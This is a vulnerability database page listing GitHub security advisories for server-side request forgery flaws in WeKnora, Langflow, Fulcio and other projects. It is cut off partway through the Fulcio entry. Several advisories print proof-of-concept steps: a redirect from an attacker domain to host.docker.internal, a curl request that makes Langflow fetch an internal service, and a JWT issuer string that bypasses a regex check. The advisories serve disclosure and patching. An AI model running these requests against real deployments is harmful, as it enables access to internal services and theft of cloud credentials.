Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4654 vulnerabilities reference this CWE, most recent first.

GHSA-595M-WC8G-6QGC

Vulnerability from github – Published: 2026-03-05 21:49 – Updated: 2026-03-09 13:13
VLAI
Summary
WeKnora is Vulnerable to SSRF via Redirection
Details

Summary

The application's "Import document via URL" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it fails to validate redirect targets. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like host.docker.internal are not blocked.

Details

The /api/v1/knowledge-bases/{id}/knowledge/url endpoint validates the initial URL but follows HTTP redirects without re-validating the destination. This allows attackers to: 1. Submit a URL to an attacker-controlled domain (passes validation) 2. Have that domain respond with a 307 redirect to an internal service 3. The backend automatically follows the redirect without checking if the destination is restricted 4. The internal service response is exposed to the attacker

Validation Gaps

  • The IsSSRFSafeURL() function (in internal/utils/security.go) validates the initial URL thoroughly, but there's no validation of HTTP redirect targets
  • host.docker.internal is not in the restrictedHostnames list
  • Docker-specific IP ranges (172.17.0.0/16 for bridge networks) are not explicitly blocked
  • The code validates parsed.Hostname() from the initial URL, but redirect Location headers bypass this check

Root Cause Analysis

The backend makes the security mistake of trusting the server's HTTP client library to be secure. In Go, when using http.Get() or similar functions, the standard library will automatically follow redirects up to 10 times by default. The SSRF validation only checks the URL passed to the endpoint, not intermediate redirects.

PoC

Step 1: Set up an attacker-controlled server that responds with a redirect:

HTTP/1.1 307 Temporary Redirect
Location: http://host.docker.internal:7777
Content-Type: text/html
Access-Control-Allow-Origin: *

Step 2: Send the request with a clean URL:

POST /api/v1/knowledge-bases/dbadd153-9e60-4213-9553-9f78dbcba0dc/knowledge/url HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <valid_token>

{"url":"https://attacker-domain.com","tag_id":""}

The URL https://attacker-domain.com passes all validation checks because: ✓ Valid https:// scheme ✓ Not an IP address (it's a domain) ✓ Not in restricted hostnames ✓ Doesn't resolve to a private IP (assuming attacker controls a public domain)

Step 3: The backend's HTTP client follows the redirect to http://host.docker.internal:7777, which: ✗ Is not validated ✗ host.docker.internal is not in the blocklist ✗ Successfully accesses the internal service

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) via HTTP Redirect

Who is Impacted: - The organization running the application - Internal services and databases accessible from the application container - Services in the Docker network (other containers, internal infrastructure) - Sensitive data stored in internal services

Potential Consequences: - Access to internal databases (PostgreSQL, MongoDB, MySQL) running in Docker - Information disclosure from internal services (Redis cache, configuration servers) - Access to Docker container metadata and environment variables - Lateral movement to other containers in the same Docker network - Exfiltration of sensitive configuration, API keys, or database credentials - Potential RCE if internal services have exploitable vulnerabilities

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.11"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/Tencent/WeKnora"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T21:49:03Z",
    "nvd_published_at": "2026-03-07T04:15:54Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe application\u0027s \"Import document via URL\" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it **fails to validate redirect targets**. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like `host.docker.internal` are not blocked.\n\n### Details\n\nThe `/api/v1/knowledge-bases/{id}/knowledge/url` endpoint validates the initial URL but follows HTTP redirects without re-validating the destination. This allows attackers to:\n1. Submit a URL to an attacker-controlled domain (passes validation)\n2. Have that domain respond with a 307 redirect to an internal service\n3. The backend automatically follows the redirect without checking if the destination is restricted\n4. The internal service response is exposed to the attacker\n\n### Validation Gaps\n- The `IsSSRFSafeURL()` function (in `internal/utils/security.go`) validates the initial URL thoroughly, but there\u0027s no validation of HTTP redirect targets\n- `host.docker.internal` is not in the `restrictedHostnames` list\n- Docker-specific IP ranges (172.17.0.0/16 for bridge networks) are not explicitly blocked\n- The code validates `parsed.Hostname()` from the initial URL, but redirect Location headers bypass this check\n\n### Root Cause Analysis\nThe backend makes the security mistake of trusting the server\u0027s HTTP client library to be secure. In Go, when using http.Get() or similar functions, the standard library will automatically follow redirects up to 10 times by default. The SSRF validation only checks the URL passed to the endpoint, not intermediate redirects.\n\n### PoC\n\n**Step 1**: Set up an attacker-controlled server that responds with a redirect:\n\n```http\nHTTP/1.1 307 Temporary Redirect\nLocation: http://host.docker.internal:7777\nContent-Type: text/html\nAccess-Control-Allow-Origin: *\n```\n**Step 2**: Send the request with a clean URL:\n\n```http\nPOST /api/v1/knowledge-bases/dbadd153-9e60-4213-9553-9f78dbcba0dc/knowledge/url HTTP/1.1\nHost: localhost\nContent-Type: application/json\nAuthorization: Bearer \u003cvalid_token\u003e\n\n{\"url\":\"https://attacker-domain.com\",\"tag_id\":\"\"}\n```\n\nThe URL `https://attacker-domain.com` passes all validation checks because:\n\u2713 Valid `https://` scheme\n\u2713 Not an IP address (it\u0027s a domain)\n\u2713 Not in restricted hostnames\n\u2713 Doesn\u0027t resolve to a private IP (assuming attacker controls a public domain)\n\n**Step 3**: The backend\u0027s HTTP client follows the redirect to `http://host.docker.internal:7777`, which:\n\u2717 Is not validated\n\u2717 `host.docker.internal` is not in the blocklist\n\u2717 Successfully accesses the internal service\n\n### Impact\n\nVulnerability Type: Server-Side Request Forgery (SSRF) via HTTP Redirect\n\n**Who is Impacted**:\n- The organization running the application\n- Internal services and databases accessible from the application container\n- Services in the Docker network (other containers, internal infrastructure)\n- Sensitive data stored in internal services\n\n**Potential Consequences**:\n- Access to internal databases (PostgreSQL, MongoDB, MySQL) running in Docker\n- Information disclosure from internal services (Redis cache, configuration servers)\n- Access to Docker container metadata and environment variables\n- Lateral movement to other containers in the same Docker network\n- Exfiltration of sensitive configuration, API keys, or database credentials\n- Potential RCE if internal services have exploitable vulnerabilities",
  "id": "GHSA-595m-wc8g-6qgc",
  "modified": "2026-03-09T13:13:28Z",
  "published": "2026-03-05T21:49:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-595m-wc8g-6qgc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30247"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Tencent/WeKnora"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WeKnora is Vulnerable to SSRF via Redirection"
}

GHSA-5993-7P27-66G5

Vulnerability from github – Published: 2025-12-19 22:52 – Updated: 2025-12-19 22:52
VLAI
Summary
Langflow vulnerable to Server-Side Request Forgery
Details

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code

  1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359

    python @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True) async def simplified_run_flow( *, background_tasks: BackgroundTasks, flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)], input_request: SimplifiedAPIRequest | None = None, stream: bool = False, api_key_user: Annotated[UserRead, Depends(api_key_security)], context: dict | None = None, http_request: Request, ):

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588

    bash @router.post( "/run/advanced/{flow_id_or_name}", response_model=RunResponse, response_model_exclude_none=True, ) async def experimental_run_flow( *, session: DbSession, flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)], inputs: list[InputValueRequest] | None = None, outputs: list[str] | None = None, tweaks: Annotated[Tweaks | None, Body(embed=True)] = None, stream: Annotated[bool, Body(embed=True)] = False, session_id: Annotated[None | str, Body(embed=True)] = None, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> RunResponse:

  2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289

    ```python def _normalize_url(self, url: str) -> str: """Normalize URL by adding https:// if no protocol is specified.""" if not url or not isinstance(url, str): msg = "URL cannot be empty" raise ValueError(msg)

        url = url.strip()
        if url.startswith(("http://", "https://")):
            return url
        return f"https://{url}"
    

    ```

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438

    ```python url = self._normalize_url(url)

        # Validate URL
        if not validators.url(url):
            msg = f"Invalid URL provided: {url}"
            raise ValueError(msg)
    

    ```

  3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322

    python try: # Prepare request parameters request_params = { "method": method, "url": url, "headers": headers, "json": processed_body, "timeout": timeout, "follow_redirects": follow_redirects, } response = await client.request(**request_params)

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340

    python # Base metadata metadata = { "source": url, "status_code": response.status_code, "response_headers": response_headers, }

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379

    ```python # Handle response content if is_binary: result = response.content else: try: result = response.json() except json.JSONDecodeError: self.log("Failed to decode JSON response") result = response.text.encode("utf-8")

            metadata["result"] = result
    
            if include_httpx_metadata:
                metadata.update({"headers": headers})
    
            return Data(data=metadata)
    

    ```

PoC


PoC Description

  • I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3.
  • I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOW_ID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

  • Langflow Setting

    image

  • Exploit

    bash curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \ -H 'Content-Type: application/json' \ -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \ --data-raw '{ "inputs":[{"components":[],"input_value":""}], "outputs":["Chat Output"], "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}}, "stream":false }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^json\n";"") | sub("\n$";"") | fromjson | .result'

    image

Impact


  • Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
  • Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
  • Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
  • Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
  • Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-19T22:52:59Z",
    "nvd_published_at": "2025-12-19T17:15:53Z",
    "severity": "HIGH"
  },
  "details": "**Vulnerability Overview**\n\n\nLangflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.\n\nBecause the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible\u2014accessing internal resources from the server\u2019s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.\n\n**Vulnerable Code**\n \n1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359\n    \n    ```python\n    @router.post(\"/run/{flow_id_or_name}\", response_model=None, response_model_exclude_none=True)\n    async def simplified_run_flow(\n        *,\n        background_tasks: BackgroundTasks,\n        flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],\n        input_request: SimplifiedAPIRequest | None = None,\n        stream: bool = False,\n        api_key_user: Annotated[UserRead, Depends(api_key_security)],\n        context: dict | None = None,\n        http_request: Request,\n    ):\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588\n    \n    ```bash\n    @router.post(\n        \"/run/advanced/{flow_id_or_name}\",\n        response_model=RunResponse,\n        response_model_exclude_none=True,\n    )\n    async def experimental_run_flow(\n        *,\n        session: DbSession,\n        flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],\n        inputs: list[InputValueRequest] | None = None,\n        outputs: list[str] | None = None,\n        tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,\n        stream: Annotated[bool, Body(embed=True)] = False,\n        session_id: Annotated[None | str, Body(embed=True)] = None,\n        api_key_user: Annotated[UserRead, Depends(api_key_security)],\n    ) -\u003e RunResponse:\n    ```\n    \n2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289\n    \n    ```python\n        def _normalize_url(self, url: str) -\u003e str:\n            \"\"\"Normalize URL by adding https:// if no protocol is specified.\"\"\"\n            if not url or not isinstance(url, str):\n                msg = \"URL cannot be empty\"\n                raise ValueError(msg)\n    \n            url = url.strip()\n            if url.startswith((\"http://\", \"https://\")):\n                return url\n            return f\"https://{url}\"\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438\n    \n    ```python\n            url = self._normalize_url(url)\n    \n            # Validate URL\n            if not validators.url(url):\n                msg = f\"Invalid URL provided: {url}\"\n                raise ValueError(msg)\n    ```\n    \n3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata[\"result\"].\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322\n    \n    ```python\n            try:\n                # Prepare request parameters\n                request_params = {\n                    \"method\": method,\n                    \"url\": url,\n                    \"headers\": headers,\n                    \"json\": processed_body,\n                    \"timeout\": timeout,\n                    \"follow_redirects\": follow_redirects,\n                }\n                response = await client.request(**request_params)\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340\n    \n    ```python\n                # Base metadata\n                metadata = {\n                    \"source\": url,\n                    \"status_code\": response.status_code,\n                    \"response_headers\": response_headers,\n                }\n    ```\n    \n    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379\n    \n    ```python\n                # Handle response content\n                if is_binary:\n                    result = response.content\n                else:\n                    try:\n                        result = response.json()\n                    except json.JSONDecodeError:\n                        self.log(\"Failed to decode JSON response\")\n                        result = response.text.encode(\"utf-8\")\n    \n                metadata[\"result\"] = result\n    \n                if include_httpx_metadata:\n                    metadata.update({\"headers\": headers})\n    \n                return Data(data=metadata)\n    ```\n    \n\n### PoC\n\n---\n\n**PoC Description**\n \n- I launched a Langflow server using the latest `langflowai/langflow:latest` Docker container, and a separate container `internal-api` that exposes an internal-only endpoint `/internal` on port 8000. Both containers were attached to the same user-defined network (`ssrf-net`), allowing communication by name or via the IP 172.18.0.3.\n- I added an API Request node to a Langflow flow and set the URL to the internal service (`http://172.18.0.3:8000/internal`). Then I invoked `/api/v1/run/advanced/\u003cFLOW_ID\u003e` with an API key to perform SSRF. The response returned the internal service\u2019s body in the `result` field, confirming non-blind SSRF.\n\n**PoC**\n\n- Langflow Setting\n    \n    \u003cimg width=\"1917\" height=\"940\" alt=\"image\" src=\"https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f\" /\u003e\n    \n- Exploit\n    \n    ```bash\n    curl -s -X POST \u0027http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d\u0027 \\\n      -H \u0027Content-Type: application/json\u0027 \\\n      -H \u0027x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M\u0027 \\\n      --data-raw \u0027{\n        \"inputs\":[{\"components\":[],\"input_value\":\"\"}],\n        \"outputs\":[\"Chat Output\"],\n        \"tweaks\":{\"API Request\":{\"url_input\":\"http://172.18.0.3:8000/internal\",\"include_httpx_metadata\":false}},\n        \"stream\":false\n      }\u0027 | jq -r \u0027.outputs[0].outputs[0].results.message.text | sub(\"^```json\\\\n\";\"\") | sub(\"\\\\n```$\";\"\") | fromjson | .result\u0027\n    ```\n    \n    \u003cimg width=\"1918\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1\" /\u003e\n    \n\n### Impact\n\n---\n\n- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).\n- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.\n- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF\u2192RCE chain (e.g., invoking an internal admin API).\n- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.\n- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.",
  "id": "GHSA-5993-7p27-66g5",
  "modified": "2025-12-19T22:52:59Z",
  "published": "2025-12-19T22:52:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-5993-7p27-66g5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68477"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow vulnerable to Server-Side Request Forgery"
}

GHSA-59FR-VM6H-JF4M

Vulnerability from github – Published: 2023-12-07 12:30 – Updated: 2026-04-28 21:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Brainstorm Force Starter Templates — Elementor, WordPress & Beaver Builder Templates.This issue affects Starter Templates — Elementor, WordPress & Beaver Builder Templates: from n/a through 3.2.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-41804"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-07T11:15:07Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Brainstorm Force Starter Templates \u2014 Elementor, WordPress \u0026 Beaver Builder Templates.This issue affects Starter Templates \u2014 Elementor, WordPress \u0026 Beaver Builder Templates: from n/a through 3.2.4.",
  "id": "GHSA-59fr-vm6h-jf4m",
  "modified": "2026-04-28T21:33:17Z",
  "published": "2023-12-07T12:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41804"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/astra-sites/wordpress-starter-templates-plugin-3-2-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-59HH-WC56-CMRQ

Vulnerability from github – Published: 2025-09-14 12:30 – Updated: 2025-09-14 12:30
VLAI
Details

A vulnerability was identified in Magicblack MacCMS 2025.1000.4050. This affects an unknown part of the component API Handler. The manipulation of the argument cjurl leads to server-side request forgery. The attack can be initiated remotely. The exploit is publicly available and might be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-10397"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-14T11:15:29Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in Magicblack MacCMS 2025.1000.4050. This affects an unknown part of the component API Handler. The manipulation of the argument cjurl leads to server-side request forgery. The attack can be initiated remotely. The exploit is publicly available and might be used.",
  "id": "GHSA-59hh-wc56-cmrq",
  "modified": "2025-09-14T12:30:24Z",
  "published": "2025-09-14T12:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10397"
    },
    {
      "type": "WEB",
      "url": "https://github.com/August829/Yu/blob/main/58ead8e7e08bfb018.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.323832"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.323832"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.645805"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-59HR-3PCC-42PG

Vulnerability from github – Published: 2026-05-02 09:31 – Updated: 2026-05-02 09:31
VLAI
Details

A security flaw has been discovered in JeecgBoot up to 3.9.1. This vulnerability affects the function CommonController.uploadImgByHttp/HttpFileToMultipartFileUtil.httpFileToMultipartFile/HttpFileToMultipartFileUtil.downloadImageData of the file CommonController.java of the component uploadImgByHttpEndpoint. Performing a manipulation results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. Upgrading the affected component is recommended. The vendor confirmed the issue and will provide a fix in the upcoming release.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-02T07:16:20Z",
    "severity": "LOW"
  },
  "details": "A security flaw has been discovered in JeecgBoot up to 3.9.1. This vulnerability affects the function CommonController.uploadImgByHttp/HttpFileToMultipartFileUtil.httpFileToMultipartFile/HttpFileToMultipartFileUtil.downloadImageData of the file CommonController.java of the component uploadImgByHttpEndpoint. Performing a manipulation results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. Upgrading the affected component is recommended. The vendor confirmed the issue and will provide a fix in the upcoming release.",
  "id": "GHSA-59hr-3pcc-42pg",
  "modified": "2026-05-02T09:31:15Z",
  "published": "2026-05-02T09:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7605"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot/issues/9555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot/issues/9555#issuecomment-4251745271"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jeecgboot/JeecgBoot"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/805709"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/360562"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/360562/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-59JP-PJ84-45MR

Vulnerability from github – Published: 2026-01-13 18:47 – Updated: 2026-01-13 18:47
VLAI
Summary
Fulcio is vulnerable to Server-Side Request Forgery (SSRF) via MetaIssuer Regex Bypass
Details

Security Disclosure: SSRF via MetaIssuer Regex Bypass

Summary

Fulcio's metaRegex() function uses unanchored regex, allowing attackers to bypass MetaIssuer URL validation and trigger SSRF to arbitrary internal services.

Since the SSRF only can trigger GET requests, the request cannot mutate state. The response from the GET request is not returned to the caller so data exfiltration is not possible. A malicious actor could attempt to probe an internal network through Blind SSRF.

Impact

  • SSRF to cloud metadata (169.254.169.254)
  • SSRF to internal Kubernetes APIs
  • SSRF to any service accessible from Fulcio's network
  • Affects ALL deployments using MetaIssuers

Patches

Upgrade to v1.8.5.

Workarounds

None. If anchors are included in the meta issuer configuration URL, they will be escaped before the regular expression is compiled, not making this a sufficient mitigation. Deployments must upgrade to the latest Fulcio release v1.8.5.

Affected Code

File: pkg/config/config.go
Function: metaRegex() (lines 143-156)

func metaRegex(issuer string) (*regexp.Regexp, error) {
    quoted := regexp.QuoteMeta(issuer)
    replaced := strings.ReplaceAll(quoted, regexp.QuoteMeta("*"), "[-_a-zA-Z0-9]+")
    return regexp.Compile(replaced)  // Missing ^ and $ anchors
}

The Bug

The regex has no ^ (start) or $ (end) anchors. Go's regexp.MatchString() does substring matching, so:

Pattern:  https://oidc.eks.*.amazonaws.com/id/*
Regex:    https://oidc\.eks\.[-_a-zA-Z0-9]+\.amazonaws\.com/id/[-_a-zA-Z0-9]+

Input:    https://attacker.com/x/https://oidc.eks.foo.amazonaws.com/id/bar
Result:   MATCHES (substring found)

Exploit

  1. Attacker sends JWT with iss claim: https://attacker.com/path/https://oidc.eks.x.amazonaws.com/id/y
  2. Fulcio's GetIssuer() matches this against MetaIssuer patterns
  3. Unanchored regex matches the embedded pattern as substring
  4. Fulcio calls oidc.NewProvider() with attacker's URL
  5. HTTP request goes to attacker.com, not amazonaws.com
  6. Attacker returns OIDC discovery with jwks_uri pointing to internal service
  7. Fulcio fetches from internal service → SSRF
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sigstore/fulcio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.5"
            }
          ],
